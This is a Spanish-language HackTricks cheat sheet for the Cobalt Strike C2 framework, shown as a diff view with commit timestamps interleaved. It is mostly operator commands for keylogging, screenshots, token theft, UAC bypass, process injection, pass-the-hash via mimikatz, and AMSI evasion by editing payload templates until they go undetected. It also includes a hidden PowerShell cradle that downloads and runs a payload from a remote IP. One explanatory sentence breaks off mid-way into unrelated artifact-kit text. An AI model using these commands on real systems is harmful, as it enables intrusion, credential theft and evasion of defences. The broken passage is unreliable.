hacktricks/c2/cobalt-strike.md

134 lines
6.4 KiB
Markdown
Raw Normal View History

2022-08-12 22:50:15 +00:00
# Cobalt Strike
### Listeners
2023-06-03 01:46:23 +00:00
### Listeners de C2
2022-08-13 15:36:34 +00:00
2023-06-03 01:46:23 +00:00
`Cobalt Strike -> Listeners -> Add/Edit` y luego puedes seleccionar dónde escuchar, qué tipo de beacon usar (http, dns, smb...) y más.
2022-08-13 15:36:34 +00:00
2023-06-03 01:46:23 +00:00
### Listeners Peer2Peer
2022-08-13 15:36:34 +00:00
2023-06-03 01:46:23 +00:00
Los beacons de estos listeners no necesitan hablar directamente con el C2, pueden comunicarse a través de otros beacons.
2022-08-13 15:36:34 +00:00
2023-06-03 01:46:23 +00:00
`Cobalt Strike -> Listeners -> Add/Edit` y luego debes seleccionar los beacons TCP o SMB.
2022-08-13 15:36:34 +00:00
2023-06-03 01:46:23 +00:00
* El **beacon TCP establecerá un listener en el puerto seleccionado**. Para conectarse a un beacon TCP, usa el comando `connect <ip> <port>` desde otro beacon.
* El **beacon SMB escuchará en un pipename con el nombre seleccionado**. Para conectarse a un beacon SMB, debes usar el comando `link [target] [pipe]`.
2022-08-12 22:50:15 +00:00
2023-06-03 01:46:23 +00:00
### Generar y alojar payloads
2022-08-12 22:50:15 +00:00
2023-06-03 01:46:23 +00:00
#### Generar payloads en archivos
2022-08-12 22:50:15 +00:00
2022-08-13 15:36:34 +00:00
`Attacks -> Packages ->`&#x20;
2022-08-12 22:50:15 +00:00
2023-06-03 01:46:23 +00:00
* **`HTMLApplication`** para archivos HTA
* **`MS Office Macro`** para un documento de Office con una macro
* **`Windows Executable`** para un .exe, .dll o servicio .exe
* **`Windows Executable (S)`** para un .exe, .dll o servicio .exe **sin etapas** (mejor sin etapas que con etapas, menos IoCs)
2022-08-12 22:50:15 +00:00
2023-06-03 01:46:23 +00:00
#### Generar y alojar payloads
2022-08-12 22:50:15 +00:00
2023-06-03 01:46:23 +00:00
`Attacks -> Web Drive-by -> Scripted Web Delivery (S)` Esto generará un script/ejecutable para descargar el beacon de cobalt strike en formatos como: bitsadmin, exe, powershell y python.
2022-08-12 22:50:15 +00:00
2023-06-03 01:46:23 +00:00
#### Alojar payloads
2022-08-12 22:50:15 +00:00
2023-06-03 01:46:23 +00:00
Si ya tienes el archivo que deseas alojar en un servidor web, simplemente ve a `Attacks -> Web Drive-by -> Host File` y selecciona el archivo a alojar y la configuración del servidor web.
2022-08-12 22:50:15 +00:00
2023-06-03 01:46:23 +00:00
### Opciones de Beacon
2022-08-12 22:50:15 +00:00
2023-06-03 01:46:23 +00:00
<pre class="language-bash"><code class="lang-bash"># Ejecutar binario .NET local
2022-08-13 15:36:34 +00:00
execute-assembly &#x3C;/path/to/executable.exe>
2022-08-13 13:54:19 +00:00
2023-06-03 01:46:23 +00:00
# Capturas de pantalla
printscreen # Tomar una captura de pantalla única a través del método PrintScr
screenshot # Tomar una captura de pantalla única
screenwatch # Tomar capturas de pantalla periódicas del escritorio
## Ve a Ver -> Capturas de pantalla para verlas
2022-08-12 22:50:15 +00:00
# keylogger
keylogger [pid] [x86|x64]
2023-06-03 01:46:23 +00:00
## Ver > Pulsaciones de teclas para ver las teclas presionadas
2022-08-13 15:36:34 +00:00
2022-08-14 10:22:31 +00:00
# portscan
2023-06-03 01:46:23 +00:00
portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Inyectar acción de escaneo de puertos dentro de otro proceso
2022-08-14 10:22:31 +00:00
portscan [targets] [ports] [arp|icmp|none] [max connections]
2022-08-13 23:06:40 +00:00
# Powershell
2023-06-03 01:46:23 +00:00
# Importar módulo Powershell
2022-08-13 15:36:34 +00:00
powershell-import C:\path\to\PowerView.ps1
2023-06-03 01:46:23 +00:00
powershell &#x3C;solo escribe aquí los comandos de powershell>
2022-08-13 15:36:34 +00:00
2023-06-03 01:46:23 +00:00
# Impersonación de usuario
## Generación de token con credenciales
make_token [DOMAIN\user] [password] #Crear token para suplantar a un usuario en la red
ls \\computer_name\c$ # Intenta usar el token generado para acceder a C$ en una computadora
rev2self # Dejar de usar el token generado con make_token
## El uso de make_token genera el evento 4624: Se inició sesión correctamente en una cuenta. Este evento es muy común en un dominio de Windows, pero se puede reducir filtrando en el tipo de inicio de sesión. Como se mencionó anteriormente, utiliza LOGON32_LOGON_NEW_CREDENTIALS que es el tipo 9.
2022-08-13 23:06:40 +00:00
2023-06-03 01:46:23 +00:00
# Bypass de UAC
2022-09-03 00:24:33 +00:00
elevate svc-exe &#x3C;listener>
elevate uac-token-duplication &#x3C;listener>
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
2022-08-13 23:06:40 +00:00
2023-06-03 01:46:23 +00:00
## Robar token de pid
## Como make_token pero robando el token de un proceso
steal_token [pid] # Además, esto es útil para acciones de red, no para acciones locales
## Desde la documentación de la API sabemos que este tipo de inicio de sesión "permite al llamador clonar su token actual". Es por eso que la salida de Beacon dice Impersonated &#x3C;current_username> - está suplantando nuestro propio token clonado.
ls \\computer_name\c$ # Intenta usar el token generado para acceder a C$ en una computadora
rev2self # Dejar de usar el token generado con steal_token
2022-08-13 23:06:40 +00:00
2023-06-03 01:46:23 +00:00
## Ejecutar proceso con nuevas credenciales
spawnas [domain\username] [password] [listener] #Hazlo desde un directorio con acceso de lectura como: cd C:\
## Como make_token, esto generará el evento de Windows 4624: Se inició sesión correctamente en una cuenta, pero con un tipo de inicio de sesión de 2 (LOGON32_LOGON_INTERACTIVE). Detallará el usuario que llama (TargetUserName) y el usuario suplantado (TargetOutboundUserName).
2022-08-13 23:06:40 +00:00
2023-06-03 01:46:23 +00:00
## Inyectar en proceso
2022-08-13 23:06:40 +00:00
inject [pid] [x64|x86] [listener]
2023-06-03 01:46:23 +00:00
## Desde un punto de vista de OpSec: No realices inyección entre plataformas a menos que realmente tengas que hacerlo (por ejemplo, x86 -> x64 o x64 -> x86).
2022-08-13 23:06:40 +00:00
2023-06-03 01:46:23 +00:00
## Pasar el hash
## Este proceso de modificación requiere parchear la memoria de LSASS, lo que es una acción de alto riesgo, requiere privilegios de administrador local y no es muy viable si Protected Process Light (PPL) está habilitado.
2022-08-13 23:06:40 +00:00
pth [pid] [arch] [DOMAIN\user] [NTLM hash]
pth [DOMAIN\user] [NTLM hash]
2023-06-03 01:46:23 +00:00
## Pasar el hash a través de mimikatz
2022-08-13 23:06:40 +00:00
mimikatz sekurlsa::pth /user:&#x3C;username> /domain:&#x3C;DOMAIN> /ntlm:&#x3C;NTLM HASH> /run:"powershell -w hidden"
2023-06-03 01:46:23 +00:00
## Sin /run, mimikatz genera un cmd.exe, si estás ejecutando como usuario con escritorio, verá
2022-08-21 14:40:42 +00:00
```
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
```
2023-06-03 01:46:23 +00:00
No olvides cargar el script agresivo `dist-pipe\artifact.cna` para indicarle a Cobalt Strike que use los recursos del disco que queremos y no los cargados.
2022-08-21 14:40:42 +00:00
2023-06-03 01:46:23 +00:00
### Kit de recursos
2022-08-21 14:40:42 +00:00
2023-06-03 01:46:23 +00:00
La carpeta ResourceKit contiene las plantillas para los payloads basados en scripts de Cobalt Strike, incluyendo PowerShell, VBA y HTA.
2022-08-21 14:40:42 +00:00
2023-06-03 01:46:23 +00:00
Usando [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) con las plantillas, puedes encontrar qué es lo que el defensor (en este caso AMSI) no está aceptando y modificarlo:
2022-08-21 14:40:42 +00:00
```
.\ThreatCheck.exe -e AMSI -f .\cobaltstrike\ResourceKit\template.x64.ps1
```
2023-06-03 01:46:23 +00:00
Modificar las líneas detectadas permite generar una plantilla que no será detectada.
2022-08-21 14:40:42 +00:00
2023-06-03 01:46:23 +00:00
No olvides cargar el script agresivo `ResourceKit\resources.cna` para indicarle a Cobalt Strike que use los recursos del disco que queremos y no los cargados.
2022-09-03 00:18:00 +00:00
```bash
cd C:\Tools\neo4j\bin
neo4j.bat console
http://localhost:7474/ --> Change password
2022-10-08 08:34:51 +00:00
execute-assembly C:\Tools\SharpHound3\SharpHound3\bin\Debug\SharpHound.exe -c All -d DOMAIN.LOCAL
2022-09-03 00:18:00 +00:00
# Change powershell
C:\Tools\cobaltstrike\ResourceKit
template.x64.ps1
# Change $var_code -> $polop
# $x --> $ar
cobalt strike --> script manager --> Load --> Cargar C:\Tools\cobaltstrike\ResourceKit\resources.cna
#artifact kit
cd C:\Tools\cobaltstrike\ArtifactKit
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
```
2023-06-03 01:46:23 +00:00